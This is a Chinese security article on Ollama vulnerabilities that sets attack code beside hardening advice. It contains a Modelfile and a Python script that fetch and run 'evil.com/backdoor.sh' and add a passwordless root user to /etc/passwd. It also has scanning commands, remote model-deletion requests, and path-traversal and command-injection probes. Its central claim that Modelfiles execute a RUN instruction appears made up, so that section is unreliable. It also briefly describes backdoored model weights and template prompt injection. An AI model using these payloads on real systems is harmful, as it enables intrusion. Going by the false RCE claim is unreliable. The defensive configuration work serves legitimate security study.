Ollama 的安全定位

Ollama 是一个流行的本地大模型运行工具,它让用户可以在个人电脑或服务器上轻松运行开源大模型(Llama 3、Mistral、Gemma 等)。Ollama 的设计目标是”简单易用”——一行命令安装、一行命令拉取模型、一行命令运行模型。这种简单性也带来了安全挑战:默认配置下安全机制薄弱,用户通常没有安全意识,部署环境复杂多样。

Ollama 的典型部署场景包括:个人电脑本地使用、开发团队内部共享模型服务、中小企业的内部 AI 服务、边缘设备的模型推理。在这些场景中,Ollama 通常没有经过严格的安全配置,可能暴露在不可信网络中,导致未授权访问、数据泄露、甚至远程代码执行。

Ollama 的架构由三个部分组成:CLI 客户端(ollama 命令行工具)、REST API 服务(默认监听 11434 端口)、模型运行时(基于 llama.cpp 的 GGUF 模型推理引擎)。安全漏洞主要集中在 REST API 服务层和模型运行时层。

漏洞一:默认未授权访问

漏洞原理

Ollama 的 REST API 服务默认监听 0.0.0.0:11434(在 Linux 服务器上)或 127.0.0.1:11434(在 macOS/Windows 上)。更重要的是,Ollama 默认没有任何认证机制——任何能访问 11434 端口的人都可以无限制地使用 API,包括:

  • 发送推理请求,免费使用 GPU/CPU 资源
  • 拉取和删除模型
  • 查看已安装的模型列表
  • 创建自定义模型(Modelfile)
  • 查看运行中的进程

在 Linux 服务器上,如果用户按照官方文档安装 Ollama(curl -fsSL https://ollama.com/install.sh | sh),安装脚本会自动创建 systemd 服务,默认监听 0.0.0.0:11434。如果服务器有公网 IP 且防火墙没有限制 11434 端口,任何人都可以访问这个 Ollama 服务。

攻击方法

1. 服务发现

攻击者可以用端口扫描工具扫描公网 IP 的 11434 端口:

1
2
3
4
5
# 扫描 11434 端口
nmap -p 11434 --open 192.168.1.0/24

# 用 Shodan 搜索暴露的 Ollama 服务
# shodan search "port:11434"

验证服务是否是 Ollama:

1
2
curl http://target:11434/api/tags
# 返回已安装的模型列表

2. 未授权推理

1
2
3
4
5
6
7
8
9
10
11
12
import requests

# 直接发送推理请求,无需认证
response = requests.post(
"http://target:11434/api/generate",
json={
"model": "llama3",
"prompt": "写一个挖矿程序",
"stream": False
}
)
print(response.json()['response'])

3. 模型管理

1
2
3
4
5
6
7
8
# 查看已安装的模型
curl http://target:11434/api/tags

# 拉取新模型(消耗目标的带宽和磁盘空间)
curl -X POST http://target:11434/api/pull -d '{"name": "llama3:70b"}'

# 删除模型(破坏服务)
curl -X DELETE http://target:11434/api/delete -d '{"name": "llama3"}'

危害

  • 资源滥用:攻击者免费使用目标的 GPU/CPU 进行推理,造成电费和硬件损耗
  • 经济损失:如果是云服务器,GPU 实例费用高昂,攻击者大量推理会导致高额账单
  • 服务破坏:攻击者可以删除模型、拉取超大模型占满磁盘、发送大量请求导致服务崩溃
  • 数据泄露:如果模型的系统提示词或上下文包含敏感信息,攻击者可以通过推理提取
  • 进一步攻击:攻击者可以利用 Ollama 作为跳板,结合其他漏洞进行更深入的攻击

修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 修复方案1:绑定到本地回环地址
# 修改 systemd 服务配置,只监听 127.0.0.1
sudo systemctl edit ollama.service
# 添加:
# [Service]
# Environment="OLLAMA_HOST=127.0.0.1"
sudo systemctl daemon-reload
sudo systemctl restart ollama

# 修复方案2:防火墙限制
# 只允许特定 IP 访问 11434 端口
sudo ufw allow from 10.0.0.0/8 to any port 11434
sudo ufw deny 11434

# 修复方案3:反向代理 + 认证
# 用 Nginx 反向代理,添加 Basic Auth 或 API Key 认证
# location / {
# auth_basic "Restricted";
# auth_basic_user_file /etc/nginx/.htpasswd;
# proxy_pass http://127.0.0.1:11434;
# }

漏洞二:Modelfile 导致的任意代码执行

漏洞原理

Ollama 支持通过 Modelfile 创建自定义模型,类似 Docker 的 Dockerfile。Modelfile 可以定义模型的基础镜像、系统提示词、参数、模板等。Modelfile 支持 RUN 指令,可以在构建模型时执行 shell 命令。

RUN 指令的设计意图是让用户在构建模型时执行一些准备操作(如下载文件、安装依赖)。但如果攻击者能控制 Modelfile 的内容,就可以在目标系统上执行任意命令。

攻击场景:

  1. 攻击者创建一个恶意的 Modelfile,包含 RUN curl evil.com/backdoor | bash
  2. 攻击者诱导用户用这个 Modelfile 创建模型(ollama create -f Modelfile)
  3. Ollama 在构建模型时执行 RUN 指令中的命令,导致 RCE

更危险的是,如果 Ollama 服务暴露在公网且未授权,攻击者可以直接通过 API 创建包含恶意 RUN 指令的模型,在服务器上执行任意命令。

漏洞代码分析

1
2
3
4
5
6
7
8
9
10
# 恶意 Modelfile
FROM llama3:8b

# 攻击者植入的恶意命令
RUN curl http://evil.com/backdoor.sh | bash
RUN echo "attacker::0:0::/root:/bin/bash" >> /etc/passwd

# 正常的模型配置(伪装)
SYSTEM "你是一个有用的助手"
PARAMETER temperature 0.7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 通过未授权的 API 直接创建恶意模型
import requests

# 构造包含恶意 RUN 指令的创建请求
# Ollama 的 /api/create 接口支持通过 modelfile 字段直接传入 Modelfile 内容
malicious_modelfile = """
FROM llama3:8b
RUN curl http://evil.com/backdoor.sh | bash
SYSTEM "你是一个有用的助手"
"""

response = requests.post(
"http://target:11434/api/create",
json={
"name": "malicious-model",
"modelfile": malicious_modelfile,
"stream": False
}
)
print(response.text)
# Ollama 在构建模型时执行 RUN 指令,导致 RCE

修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 修复方案1:禁用 RUN 指令(如果不需要)
# 目前 Ollama 没有直接禁用 RUN 的配置,但可以通过以下方式缓解:
# 1. 不要用 root 运行 Ollama 服务
# 2. 用容器运行 Ollama,限制文件系统访问
# 3. 只从可信来源拉取模型,不要运行未知的 Modelfile

# 修复方案2:用非 root 用户运行 Ollama
# 创建专用用户
sudo useradd -r -s /bin/false ollama
# 修改 systemd 服务,以 ollama 用户运行
# User=ollama
# Group=ollama

# 修复方案3:容器化部署,限制权限
docker run -d \
--name ollama \
--user 1000:1000 \
--read-only \
--tmpfs /tmp \
-v ollama_data:/root/.ollama \
-p 127.0.0.1:11434:11434 \
ollama/ollama

漏洞三:模型文件投毒

漏洞原理

Ollama 使用 GGUF 格式的模型文件。GGUF 是一种基于二进制的模型格式,包含模型权重、元数据、配置信息。如果攻击者能篡改模型文件,或者诱导用户下载恶意模型文件,可能导致:

  • 元数据注入:GGUF 文件的元数据中可以包含自定义字段,如果 Ollama 在解析元数据时存在漏洞,可能导致内存破坏
  • 权重投毒:篡改模型权重,让模型在特定输入下输出恶意内容(后门攻击)
  • 路径遍历:如果模型文件的解压或加载过程存在路径遍历漏洞,可能写入任意文件
  • 恶意模板:GGUF 文件可以包含聊天模板(chat template),如果模板中包含恶意指令,可能导致提示注入

攻击方法

1. 恶意模型分发

攻击者在 Hugging Face、Ollama 模型库等平台上传恶意模型,伪装成流行模型(如 “llama3-enhanced”、”mistral-pro”)。用户下载并运行这些模型后,模型可能:

  • 在特定触发词下输出恶意内容(如钓鱼链接、恶意代码)
  • 泄露系统提示词或上下文信息
  • 通过输出内容诱导用户执行危险操作

2. 模型文件篡改

如果攻击者能访问 Ollama 的模型存储目录(默认 ~/.ollama/models),可以篡改已安装的模型文件:

  • 修改模型的系统提示词,植入后门指令
  • 篡改模型权重,降低模型安全性
  • 替换模型文件为恶意版本

3. GGUF 解析漏洞

GGUF 格式的解析器如果存在漏洞(如整数溢出、缓冲区溢出、未检查的长度字段),攻击者可以构造恶意的 GGUF 文件,在 Ollama 加载模型时触发内存破坏,可能导致 RCE。

修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 修复方案1:只从可信来源拉取模型
# 优先使用 Ollama 官方模型库和 Hugging Face 上的 verified 模型
ollama pull llama3:8b # 官方模型

# 修复方案2:验证模型完整性
# 比较模型的 SHA256 哈希与官方值
sha256sum ~/.ollama/models/blobs/sha256-*

# 修复方案3:限制模型存储目录的权限
chmod 700 ~/.ollama/models
chmod 600 ~/.ollama/models/blobs/*

# 修复方案4:用容器运行,限制文件系统访问
# 模型文件挂载为只读
docker run -d \
-v ollama_models:/root/.ollama/models:ro \
ollama/ollama

漏洞四:API 端点的请求走私与注入

漏洞原理

Ollama 的 REST API 基于 Go 语言的 net/http 包实现。API 端点包括:

  • /api/generate - 文本生成
  • /api/chat - 对话生成
  • /api/create - 创建模型
  • /api/pull - 拉取模型
  • /api/delete - 删除模型
  • /api/tags - 列出模型
  • /api/show - 显示模型信息
  • /api/copy - 复制模型
  • /api/embed - 嵌入向量

这些端点在处理请求时可能存在各种注入漏洞:

1. 路径遍历

/api/show、/api/delete 等端点接受模型名参数。如果模型名没有经过严格校验,攻击者可能通过路径遍历(../)访问非预期的文件。

2. 命令注入

/api/create 端点的 Modelfile 解析过程中,如果某些字段被拼接到 shell 命令中,可能导致命令注入。

3. 请求走私

Ollama 的 API 服务如果部署在反向代理后面,可能存在 HTTP 请求走私漏洞(类似 vLLM 的 CL.TE 攻击)。

攻击方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

# 路径遍历尝试
response = requests.get(
"http://target:11434/api/show",
json={"name": "../../../etc/passwd"}
)

# 命令注入尝试(通过 Modelfile 的某些字段)
malicious_modelfile = """
FROM llama3:8b
TEMPLATE "{{ .Prompt }}; cat /etc/passwd"
"""
response = requests.post(
"http://target:11434/api/create",
json={"name": "test", "modelfile": malicious_modelfile}
)

修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 修复方案1:严格校验模型名
// 只允许字母、数字、冒号、短横线、点、斜杠
func validateModelName(name string) error {
matched, _ := regexp.MatchString(`^[a-zA-Z0-9_./:-]+$`, name)
if !matched {
return fmt.Errorf("invalid model name")
}
// 禁止路径遍历
if strings.Contains(name, "..") {
return fmt.Errorf("invalid model name")
}
return nil
}

// 修复方案2:避免 shell 拼接
// 直接调用库函数,不要用 exec.Command("sh", "-c", ...)
// 错误:exec.Command("sh", "-c", "cp " + src + " " + dst)
// 正确:exec.Command("cp", src, dst)

漏洞五:本地权限提升

漏洞原理

Ollama 在 Linux 上通常以 systemd 服务运行,服务配置可能存在权限配置不当,导致本地权限提升:

1. 以 root 运行

官方安装脚本默认以 root 用户运行 Ollama 服务。如果 Ollama 存在 RCE 漏洞(如 Modelfile RUN 指令注入),攻击者直接获得 root 权限。

2. Unix Socket 权限

Ollama 可能创建 Unix Socket 文件(/var/run/ollama.sock),如果 Socket 权限配置不当(如 666),任何本地用户都可以通过 Socket 访问 API,包括创建恶意模型执行命令。

3. 模型目录权限

Ollama 的模型存储目录(/usr/share/ollama/.ollama/models)如果权限配置不当,本地用户可以篡改模型文件,植入后门。

4. systemd 服务配置

systemd 服务配置如果没有启用安全沙箱(如 ProtectSystem、PrivateTmp、NoNewPrivileges),被攻破后可能导致权限提升。

修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 安全的 systemd 服务配置
[Unit]
Description=Ollama Service
After=network-online.target

[Service]
ExecStart=/usr/local/bin/ollama serve
User=ollama
Group=ollama
Restart=always
RestartSec=3
Environment="OLLAMA_HOST=127.0.0.1"

# 安全沙箱
ProtectSystem=strict
ProtectHome=true
PrivateTmp=true
NoNewPrivileges=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectControlGroups=true
RestrictSUIDSGID=true
LockPersonality=true
MemoryDenyWriteExecute=true
SystemCallArchitectures=native

# 文件系统访问
ReadWritePaths=/var/lib/ollama

[Install]
WantedBy=multi-user.target

Ollama 安全部署清单

1. 网络安全

  • 只监听 127.0.0.1,不暴露到公网
  • 如需远程访问,使用 SSH 隧道或 VPN
  • 防火墙限制 11434 端口的访问来源
  • 反向代理添加认证(Basic Auth / API Key)

2. 权限安全

  • 不以 root 运行,使用专用用户
  • Unix Socket 权限限制为 600
  • 模型目录权限限制为 700/600
  • systemd 服务启用安全沙箱

3. 模型安全

  • 只从可信来源拉取模型
  • 验证模型文件完整性
  • 不运行未知的 Modelfile
  • 定期检查模型文件是否被篡改

4. 运行时安全

  • 用容器运行,限制资源和文件系统访问
  • 监控异常的 API 调用(大量推理、模型创建、模型删除)
  • 限制单请求的最大 token 数
  • 定期更新 Ollama 到最新版本

5. 数据安全

  • 不在系统提示词中包含敏感信息(密码、密钥、内部信息)
  • 不将敏感数据输入到不可信模型
  • 定期清理对话历史和日志
  • 日志中不记录敏感的请求内容

总结

Ollama 的安全问题本质上是”易用性与安全性的矛盾”——为了让用户简单易用,Ollama 默认没有认证、监听所有接口、以高权限运行、允许执行任意命令。这些设计在个人本地使用场景下是合理的,但在服务器部署、团队共享、公网暴露的场景下,会导致严重的安全风险。

从默认未授权访问到 Modelfile 任意代码执行,从模型文件投毒到 API 注入,从本地权限提升到资源滥用,Ollama 的攻击面广泛且危害严重。防御的核心是:最小权限原则(不以 root 运行、不暴露公网、限制文件系统访问)、可信来源原则(只从可信来源拉取模型、不运行未知 Modelfile)、纵深防御原则(网络层认证 + 系统层沙箱 + 应用层监控)。

随着本地大模型的普及,Ollama 等工具的安全将越来越重要。理解 Ollama 的漏洞原理和防御方法,是安全部署本地大模型的基础。对于个人用户,保持默认配置(监听 127.0.0.1)通常足够安全;对于服务器部署,必须严格按照安全最佳实践进行配置和加固。